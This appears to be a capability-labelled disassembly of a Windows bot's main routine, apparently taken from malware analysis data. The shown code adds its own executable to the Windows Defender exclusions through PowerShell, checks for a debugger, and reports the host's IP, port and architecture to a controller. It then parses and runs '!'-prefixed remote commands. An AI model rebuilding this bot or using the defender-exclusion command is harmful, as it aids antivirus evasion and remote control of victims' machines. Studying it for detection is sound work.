Function at 0x40275a
Capabilities:
Execute command
Initialize winsock library

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x1260
call fcn.00403d10
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1200], ecx
mov qword [rbp + 0x1208], rdx
call sym.__main
lea rax, str.powershell__Command__Add_MpPreference__ExclusionProcess_C:path_to_botas.exe_
mov rcx, rax
call sym.system
call sym.CustomIsDebuggerPresentCheck
test eax, eax
je 0x4027ad
lea rax, str.Debugger_is_present._n
mov rcx, rax
call sym.printf
jmp 0x4027bc
lea rax, str.No_debugger_detected._n
mov rcx, rax
call sym.printf
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.lazyGetIPAddress
mov rax, rbp
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x11b0], eax
cmp dword [rbp + 0x11b0], 0
je 0x402813
mov eax, dword [rbp + 0x11b0]
mov edx, eax
lea rax, str.WSAStartup_failed:__d_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x402be5
lea rax, [0x0040b058]
mov rcx, rax
call sym.chdir
call sym.initConnection
test eax, eax
jne 0x402bdf
call sym.getArch
mov rbx, rax
call sym.getPortz
mov rsi, rax
call sym.getIP
mov rdx, rax
mov eax, dword [0x00410040]
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, rdx
lea rdx, str.e_1_94mDevice_Connected:__s__Port:__s__Arch:__se_0m
mov ecx, eax
call sym.sockprintf
mov dword [rbp + 0x11ac], 0
mov dword [rbp + 0x11a8], 0
jmp 0x402bad
mov eax, dword [rbp + 0x11ac]
cdqe
mov byte [rbp + rax + 0x1a0], 0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.trim
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x11d8], rax
lea rax, [rbp + 0x1a0]
lea rdx, [0x0040bd06]
mov rcx, rax
call sym.strstr
mov rdx, rax
lea rax, [rbp + 0x1a0]
cmp rdx, rax
jne 0x4028db
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
cmp al, 0x21
jne 0x402bad
mov rax, qword [rbp + 0x11d8]
add rax, 1
mov qword [rbp + 0x11d0], rax
jmp 0x402909
add qword [rbp + 0x11d0], 1
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402925
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
test al, al
jne 0x402901
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
test al, al
jne 0x402938
jmp 0x402bad
mov rax, qword [rbp + 0x11d0]
mov byte [rax], 0
mov rax, qword [rbp + 0x11d8]
add rax, 1
mov qword [rbp + 0x11d0], rax
mov rax, qword [rbp + 0x11d0]
mov rcx, rax
call sym.strlen
add rax, 2
add qword [rbp + 0x11d8], rax
jmp 0x402990
mov rax, qword [rbp + 0x11d8]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11d8]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x11d8]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11d8]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
je 0x402970
mov rax, qword [rbp + 0x11d8]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11d8]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xd
je 0x402970
mov rax, qword [rbp + 0x11d8]
mov qword [rbp + 0x11a0], rax
jmp 0x4029f0
add qword [rbp + 0x11d8], 1
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402a0c
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
test al, al
jne 0x4029e8
mov rax, qword [rbp + 0x11d8]
mov byte [rax], 0
add qword [rbp + 0x11d8], 1
mov rax, qword [rbp + 0x11a0]
mov qword [rbp + 0x11c8], rax
jmp 0x402a59
mov rax, qword [rbp + 0x11c8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_toupper]
call rax
mov edx, eax
mov rax, qword [rbp + 0x11c8]
mov byte [rax], dl
add qword [rbp + 0x11c8], 1
mov rax, qword [rbp + 0x11c8]
movzx eax, byte [rax]
test al, al
jne 0x402a2e
mov dword [rbp + 0x11c4], 1
mov rax, qword [rbp + 0x11d8]
lea rdx, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x11b8], rax
mov rax, qword [rbp + 0x11a0]
mov qword [rbp - 0x50], rax
jmp 0x402b45
mov rax, qword [rbp + 0x11b8]
movzx eax, byte [rax]
cmp al, 0xa
je 0x402b2a
mov rax, qword [rbp + 0x11b8]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x11c4]
cdqe
mov qword [rbp + rax*8 - 0x50], rdx
mov rax, qword [rbp + 0x11b8]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov eax, dword [rbp + 0x11c4]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x11c4]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rdx, qword [rbp + 0x11b8]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x11c4], 1
lea rax, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x11b8], rax
cmp qword [rbp + 0x11b8], 0
jne 0x402a9e
lea rdx, [rbp - 0x50]
mov eax, dword [rbp + 0x11c4]
mov ecx, eax
call sym.processCmd
cmp dword [rbp + 0x11c4], 1
jle 0x402bad
mov dword [rbp + 0x11b4], 1
mov dword [rbp + 0x11b4], 1
jmp 0x402b9f
mov eax, dword [rbp + 0x11b4]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rcx, rax
call sym.free
add dword [rbp + 0x11b4], 1
mov eax, dword [rbp + 0x11b4]
cmp eax, dword [rbp + 0x11c4]
jl 0x402b83
mov eax, dword [0x00410040]
lea rdx, [rbp + 0x1a0]
mov r8d, 0x1000
mov ecx, eax
call sym.recvLine
mov dword [rbp + 0x11ac], eax
cmp dword [rbp + 0x11ac], 0xffffffff
jne 0x40287f
jmp 0x402822
nop
jmp 0x402822
add rsp, 0x1260
pop rbx
pop rsi
pop rbp
ret